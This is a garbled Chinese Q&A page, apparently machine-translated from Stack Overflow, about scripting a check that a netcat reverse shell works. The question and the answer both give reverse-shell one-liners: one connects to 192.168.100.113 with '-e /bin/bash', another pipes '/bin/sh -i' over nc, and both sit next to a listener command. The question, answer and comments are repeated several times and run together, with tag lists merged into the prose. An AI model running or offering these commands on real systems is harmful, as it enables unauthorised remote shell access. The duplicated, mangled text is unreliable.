Linux 使用脚本检查netcat反向shell
我用netcat做反向shell A侧Linux 使用脚本检查netcat反向shell,linux,shell,netcat,reverse-shell,bash,Linux,Shell,Netcat,Reverse Shell,Bash,我用netcat做反向shell A侧nc 192.168.100.113 4444–e/bin/bash B侧nc–lvp 4444 我想用shell脚本从B端自动化并检查这个过程,这个脚本使shell真正起作用 在B侧,在nc–lvp 4444之后,我如何等待,直到获得连接,然后发送ls命令并检查结果?您必须驱动所有FD并使用-I标志: 第一控制台: nc -lp 4444 第二控制台: nc -c '/bin/sh -i 2>&1' localhost 4444 当然
nc 192.168.100.113 4444–e/bin/bash
B侧nc–lvp 4444
我想用shell脚本从B端自动化并检查这个过程,这个脚本使shell真正起作用
在B侧,在nc–lvp 4444
之后,我如何等待,直到获得连接,然后发送ls
命令并检查结果?您必须驱动所有FD并使用-I
标志:
第一控制台:
nc -lp 4444
第二控制台:
nc -c '/bin/sh -i 2>&1' localhost 4444
当然,我在测试中使用了localhost
,您可以使用IP代替
我已经在我的实现中使用了此选项,您必须驱动所有FD并使用-I
标志:
第一控制台:
nc -lp 4444
第二控制台:
nc -c '/bin/sh -i 2>&1' localhost 4444
当然,我在测试中使用了localhost
,您可以使用IP代替
我在实现操作系统和网络猫的哪个版本(BSD,GNU)?操作系统和网络猫的哪个版本(BSD,GNU)??我不知道如何使用第二个控制台发送和获取
ls
的结果?@yfr2493azzrggacom,而sh
在第二个控制台中运行,你必须使用第一个控制台来输入和阅读答案…所以我想在脚本中这样做…不是吗typing@yfr24493AzzrggAcom您可以使用nc-lp 4444。我不知道如何使用第二个控制台发送和获取ls
的结果?@yfr2493azzrggacom,而sh
在第二个控制台中运行,你必须使用第一个控制台来输入和阅读答案…所以我想在脚本中这样做…不是吗typing@yfr24493AzzrggAcom您可以使用nc-lp4444